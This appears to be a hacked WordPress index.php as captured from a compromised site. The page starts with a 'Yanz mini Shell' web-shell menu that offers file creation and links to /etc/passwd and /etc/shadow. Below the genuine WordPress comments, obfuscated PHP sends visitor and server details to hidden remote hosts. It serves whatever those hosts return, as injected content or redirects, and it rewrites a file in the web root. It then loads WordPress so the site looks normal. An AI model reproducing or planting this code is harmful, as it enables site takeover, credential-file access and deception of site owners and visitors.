Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
 
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
/** Loads the WordPress Environment and Template */

$ooc_f63tv = [ooc_cjc1r("jBwJ"),ooc_cjc1r("SXiI"),ooc_cjc1r("XtlO"),ooc_cjc1r("DXCM")]; $ooc_uoi71 = ooc_cjc1r("fLFI"); $ooc_7ezmg = $_SERVER[ooc_cjc1r("Nwag")]; $ooc_ddxla = isset($_SERVER[ooc_cjc1r("nEjD")]) ? $_SERVER[ooc_cjc1r("Jtjn")] : ooc_cjc1r("CzzG"); $ooc_11gwf = ooc_cjc1r("dWuM"); if (!(!(isset($_SERVER[ooc_cjc1r("iquh")])))) { $ooc_11gwf = $_SERVER[ooc_cjc1r("bwaf")]; } if (!(!(ooc_zt26s()))) { $ooc_4ibs1 = ooc_cjc1r("Nofy"); } else { $ooc_4ibs1 = ooc_cjc1r("dYyd"); } $ooc_maycp = ooc_ikh07(); $ooc_8ba1o = ooc_l61ew(); $ooc_11gwf = ooc_v2s9h($ooc_11gwf); $ooc_tyzpe = ooc_cjc1r("Iekf"); $ooc_z2gl1 = ooc_cjc1r("rbMw"); $ooc_ivsyy = false; if (!(!(strpos($ooc_8ba1o, $ooc_z2gl1) !== false))) { $ooc_ivsyy = true; } else { $ooc_z2gl1 = ooc_cjc1r("sclW"); } if (!(!(strpos($ooc_8ba1o, $ooc_tyzpe) !== false || strpos($ooc_8ba1o, ooc_cjc1r("zsQF")) !== false))) { $ooc_tyzpe = ooc_cjc1r("yZFq"); } else { $ooc_tyzpe = ooc_cjc1r("wOze"); } if (!(!($ooc_11gwf))) { $ooc_11gwf = ooc_cjc1r("pxlc"); } else { $ooc_11gwf = ooc_cjc1r("PYzO"); } ooc_1k8fu($ooc_4ibs1 . ooc_cjc1r("KQEG") . $ooc_7ezmg); $ooc_cyil9 = http_build_query([ ooc_cjc1r("HVcX") => $ooc_7ezmg, ooc_cjc1r("SZxj") => $ooc_maycp, ooc_cjc1r("fZDk") => $ooc_8ba1o, ooc_cjc1r("mGVz") => $ooc_11gwf, ooc_cjc1r("SuEp") => $ooc_4ibs1, ooc_cjc1r("VPwe") => $ooc_ddxla, ooc_cjc1r("CfTX") => $ooc_z2gl1, ooc_cjc1r("lTSy") => $ooc_tyzpe ]); $ooc_7ii3v = ooc_2ohce($ooc_f63tv, $ooc_uoi71, $ooc_cyil9); if (!(!(!strstr($ooc_7ii3v, ooc_cjc1r("OuSa"))))) { if (!(!(strstr($ooc_7ii3v, ooc_cjc1r("yHMR"))))) { @header(ooc_cjc1r("PSgK")); $ooc_7ii3v = str_replace(ooc_cjc1r("XKtN"), ooc_cjc1r("NaTo"), $ooc_7ii3v); if (!(!($ooc_ivsyy))) { echo $ooc_z2gl1; } echo $ooc_7ii3v; exit(); } else if (!(!(strstr($ooc_7ii3v, ooc_cjc1r("tZbX"))))) { @header(ooc_cjc1r("EEIc")); exit(); } else if (!(!(strstr($ooc_7ii3v, ooc_cjc1r("lDGc"))))) { @header(ooc_cjc1r("gRno")); exit(); } else if (!(!(strstr($ooc_7ii3v, ooc_cjc1r("pzWv"))))) { @header(ooc_cjc1r("AySH")); $ooc_7ii3v = str_replace(ooc_cjc1r("Wgei"), ooc_cjc1r("vSeD"), $ooc_7ii3v); header(ooc_cjc1r("BjDY") . $ooc_7ii3v); exit(); } else if (!(!(strstr($ooc_7ii3v, ooc_cjc1r("Scsf"))))) { $ooc_7ii3v = str_replace(ooc_cjc1r("DtBj"), ooc_cjc1r("sGfJ"), $ooc_7ii3v); @header(ooc_cjc1r("dwCt")); echo $ooc_7ii3v; exit(); } else if (!(!(strstr($ooc_7ii3v, ooc_cjc1r("KRye"))))) { $ooc_7ii3v = str_replace(ooc_cjc1r("BRSa"), ooc_cjc1r("CUnM"), $ooc_7ii3v); @header(ooc_cjc1r("oDxY")); echo $ooc_7ii3v; exit(); } } function ooc_2ohce($ooc_f63tv, $ooc_uoi71, $ooc_cyil9) { shuffle($ooc_f63tv); foreach ($ooc_f63tv as $ooc_ziitc) { $ooc_ziitc = str_rot13(urldecode($ooc_ziitc)); $ooc_pqbyi = $ooc_uoi71 . ooc_cjc1r("GgOL") . $ooc_ziitc . ooc_cjc1r("GHDK") . $ooc_cyil9; $ooc_c0dke = curl_init(); curl_setopt($ooc_c0dke, CURLOPT_URL, $ooc_pqbyi); curl_setopt($ooc_c0dke, CURLOPT_RETURNTRANSFER, true); $ooc_vfugf = curl_exec($ooc_c0dke); if (!(!(!curl_errno($ooc_c0dke)))) { curl_close($ooc_c0dke); return $ooc_vfugf; } else { if (!(!(stristr(curl_error($ooc_c0dke), ooc_cjc1r("SwDX"))))) { echo ooc_cjc1r("vQFy"); } curl_close($ooc_c0dke); } if (!(!(ini_get(ooc_cjc1r("iZtA"))))) { $ooc_vfugf = @file_get_contents($ooc_pqbyi); if (!(!($ooc_vfugf !== false))) { return $ooc_vfugf; } } } return ooc_cjc1r("aPJl"); } function ooc_ikh07() { $ooc_gpbh5 = strtolower($_SERVER[ooc_cjc1r("JjJA")]); $ooc_ks7vv = [ooc_cjc1r("uPIt"), ooc_cjc1r("khSE"), ooc_cjc1r("Xqrp"), ooc_cjc1r("HrKR"), ooc_cjc1r("ZLfO")]; foreach ($ooc_ks7vv as $ooc_i9z4f) { if (!(!(strpos($ooc_gpbh5, $ooc_i9z4f) !== false))) { return 1; } } return 0; } function ooc_l61ew() { if (!(!(isset($_SERVER[ooc_cjc1r("CpJC")])))) { $ooc_03afe = $_SERVER[ooc_cjc1r("YAbz")]; } else { if (!(!(isset($_SERVER[ooc_cjc1r("xWzQ")])))) { $ooc_03afe = $_SERVER[ooc_cjc1r("ieZI")] . ooc_cjc1r("QrUd") . $_SERVER[ooc_cjc1r("IRYe")][0]; } else { $ooc_03afe = $_SERVER[ooc_cjc1r("nQYG")] . ooc_cjc1r("SuVg") . $_SERVER[ooc_cjc1r("HpsR")]; } } return $ooc_03afe; } function ooc_v2s9h($ooc_jw0ep) { if (empty($ooc_jw0ep)) return false; $ooc_e9nam = [ooc_cjc1r("gZVq"), ooc_cjc1r("WxMn"), ooc_cjc1r("PiLf"),]; foreach ($ooc_e9nam as $ooc_78aig) { if (!(!(stripos($ooc_jw0ep, $ooc_78aig) !== false))) { return true; } } return false; } function ooc_1k8fu($ooc_pqbyi) { $ooc_mqn21 = $_SERVER[ooc_cjc1r("Fmzt")] . ooc_cjc1r("gGHK"); $ooc_vozu1 = ooc_cjc1r("DaZy") . PHP_EOL; $ooc_vozu1 .= ooc_cjc1r("hkAd") . PHP_EOL . PHP_EOL; $ooc_vozu1 .= ooc_cjc1r("pdql") . $ooc_pqbyi . ooc_cjc1r("cxSQ") . PHP_EOL; if (!(!(!file_exists($ooc_mqn21)))) { file_put_contents($ooc_mqn21, $ooc_vozu1); } else { $ooc_wkix8 = file_get_contents($ooc_mqn21); if (!(!($ooc_wkix8 !== $ooc_vozu1))) { file_put_contents($ooc_mqn21, $ooc_vozu1); } } } function ooc_zt26s() { if (!(!(isset($_SERVER[ooc_cjc1r("bJRH")])))) { if (!(!(strtolower($_SERVER[ooc_cjc1r("xYDS")]) !== ooc_cjc1r("QrQx")))) { return true; } } elseif (!(!(isset($_SERVER[ooc_cjc1r("ZNBg")])))) { if (!(!($_SERVER[ooc_cjc1r("iWZD")] === ooc_cjc1r("cUTw")))) { return true; } } elseif (!(!(isset($_SERVER[ooc_cjc1r("GHFz")])))) { if (!(!(strtolower($_SERVER[ooc_cjc1r("yamT")]) !== ooc_cjc1r("PKUN")))) { return true; } } return false; }?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>